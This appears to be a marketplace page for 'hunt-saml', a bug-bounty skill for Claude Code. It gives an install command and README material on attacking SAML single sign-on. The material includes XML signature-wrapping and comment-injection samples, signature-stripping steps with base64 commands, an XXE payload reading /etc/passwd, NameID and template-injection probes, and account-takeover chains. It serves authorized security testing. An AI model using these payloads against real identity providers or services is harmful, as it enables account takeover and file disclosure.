About hunt-saml
hunt-saml is a security-testing skill for assessing SAML and SSO implementations. It outlines attack techniques, practical test workflows, supporting tools, and severity guidance for security researchers.
Key features
- 01SAML endpoint discovery
- 02XML signature-wrapping tests
- 03Signature-stripping workflow
- 04XXE and NameID checks
- 05Finding severity guidance
Use cases
- 01Assessing a SAML login flow
- 02Testing assertion signature validation
- 03Checking NameID handling and XXE
- 04Prioritizing confirmed SSO findings
Install
Copy the command and run it in a terminal.
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-samlAfter installing, type/hunt-samlin Claude Code to confirm it loaded.
Details
From the project README20. SAML / SSO ATTACKS
SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
Attack Surface
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
Attack 1: XML Signature Wrapping (XSW)
<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>
Attack 2: Comment Injection in NameID
<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
Attack 4: XXE in SAML Assertion
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
Attack 5: NameID Manipulation
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
Tools
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML Triage
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
Related Skills & Chains
hunt-ato— SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with[email protected]in primary position + SP processes first assertion (the evil one) + SP doesn't validate<AudienceRestriction>so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.hunt-auth-bypass— SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip<ds:Signature>element entirely → modify<NameID>to admin → re-encode base64 → POST to/saml/acs→ SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.hunt-oauth— SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.hunt-xxe— SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser withoutdisallow-doctype-decl+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>in assertion +<NameID>&xxe;</NameID>→ SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.security-arsenal— Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.triage-validation— Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
Comments
Markdown supported